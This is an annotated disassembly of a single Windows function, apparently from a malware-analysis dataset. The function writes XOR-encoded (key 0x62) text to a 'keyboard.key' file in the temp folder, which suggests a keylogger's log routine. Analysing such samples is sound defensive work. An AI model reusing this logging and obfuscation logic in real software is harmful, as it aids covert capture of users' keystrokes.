Function at 0x409d70
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x10c], ecx
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x108]
dec edi
nop dword [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x409dc0
mov ax, word [0x44a114]
lea ecx, [ebp - 0x108]
mov word [edi], ax
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x409de0
mov eax, dword [str.keyboard]
mov dword [ecx], eax
mov eax, dword [0x44a57c]
mov dword [ecx + 4], eax
mov al, byte [0x44a580]
mov byte [ecx + 8], al
lea ecx, [ebp - 0x108]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x409e08
mov eax, dword [str..key]
push 0
push 0x80
push 4
mov dword [ecx], eax
mov al, byte [0x44a588]
push 0
push 2
mov byte [ecx + 4], al
lea eax, [ebp - 0x108]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x11c], 0
push 0
push ebx
mov dword [ebp - 0x120], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x409e6f
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 0x10c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
mov dword [ebp - 0x114], esi
call fcn.00419e38
add esp, 4
xor edx, edx
mov ebx, eax
test esi, esi
jle 0x409f66
cmp esi, 0x40
jb 0x409f44
lea eax, [edi - 1]
lea ecx, [ebx - 1]
add eax, esi
add ecx, esi
cmp ebx, eax
ja 0x409eb8
cmp ecx, edi
jae 0x409f44
mov eax, esi
and eax, 0x8000003f
jns 0x409ec6
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [0x44aee0]
mov ecx, esi
sub ecx, eax
mov esi, edi
sub esi, ebx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x118], esi
lea ecx, [edi + 0x30]
mov esi, dword [ebp - 0x114]
lea eax, [ebx + 0x10]
mov edi, dword [ebp - 0x118]
movups xmm0, xmmword [ecx - 0x30]
lea ecx, [ecx + 0x40]
add edx, 0x40
movaps xmm1, xmm2
lea eax, [eax + 0x40]
xorps xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [edi + eax - 0x40]
xorps xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x50]
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
cmp edx, dword [ebp - 0x110]
jl 0x409ef3
mov edi, dword [ebp - 0x10c]
mov dword [ebp - 0x110], edx
cmp edx, esi
jge 0x409f66
sub edi, ebx
lea ecx, [edx + ebx]
sub esi, edx
nop dword [eax + eax]
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor al, 0x62
mov byte [ecx - 1], al
sub esi, 1
jne 0x409f50
mov edi, dword [ebp - 0x10c]
push 0
lea eax, [ebp - 0x11c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 0x120]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret